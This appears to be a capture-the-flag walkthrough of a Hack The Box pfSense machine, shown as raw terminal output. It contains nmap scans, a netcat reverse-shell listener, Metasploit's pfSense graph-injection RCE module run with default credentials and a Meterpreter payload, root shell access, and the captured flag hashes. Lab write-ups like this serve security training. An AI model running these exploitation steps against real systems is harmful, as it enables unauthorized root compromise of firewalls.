┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sU 10.10.10.60 [sudo] kali 的密码： Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-03 19:56 CST Nmap scan report for 10.10.10.60 Host is up (0.27s latency). All 1000 scanned ports on 10.10.10.60 are in ignored states. Not shown: 1000 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 276.71 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sV -sC 10.10.10.60 --min-rate 200 -p- [sudo] kali 的密码： Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-03 19:56 CST Nmap scan report for 10.10.10.60 Host is up (0.28s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http lighttpd 1.4.35 |_http-title: Did not follow redirect to https://10.10.10.60/ |_http-server-header: lighttpd/1.4.35 443/tcp open ssl/http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 | ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US | Not valid before: 2017-10-14T19:21:35 |_Not valid after: 2023-04-06T19:21:35 |_ssl-date: TLS randomness does not represent time |_http-title: Login
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 663.16 seconds
┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 10086 listening on [any] 10086 ... connect to [10.10.14.3] from (UNKNOWN) [10.10.10.60] 37485 sh: can't access tty; job control turned off # id uid=0(root) gid=0(wheel) groups=0(wheel)
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/http/pfsense_graph_injection_exec 2016-04-18 excellent No pfSense authenticated graph status RCE
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/pfsense_graph_injection_exec
msf6 > use exploit/unix/http/pfsense_graph_injection_exec [*] Using configured payload php/meterpreter/reverse_tcp msf6 exploit(unix/http/pfsense_graph_injection_exec) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD pfsense yes Password to login with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections USERNAME admin yes User to login with VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic Target
View the full module info with the info, or info -d command.
[*] Started reverse TCP handler on 10.10.14.3:4444 [*] Detected pfSense 2.1.3-RELEASE, uploading intial payload [*] Payload uploaded successfully, executing [*] Sending stage (39927 bytes) to 10.10.10.60 [+] Deleted JpbAUuFR [*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.10.10.60:7882) at 2023-12-03 23:05:21 +0800
meterpreter > shell Process 35199 created. Channel 0 created. id uid=0(root) gid=0(wheel) groups=0(wheel) pwd /var/db/rrd cd /home ls .snap rohit cd rohit/
ls .tcshrc user.txt cat user.txt 8721327cc232073b40d27d9c17e7348b
0x02 系统权限获取
25、获取root的flag的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
cd /root/ ls .cshrc .first_time .gitsync_merge.sample .hushlogin .login .part_mount .profile .shrc .tcshrc root.txt cat root.txt d08c32a5d4f8c8b10e76eb51a69f1a86
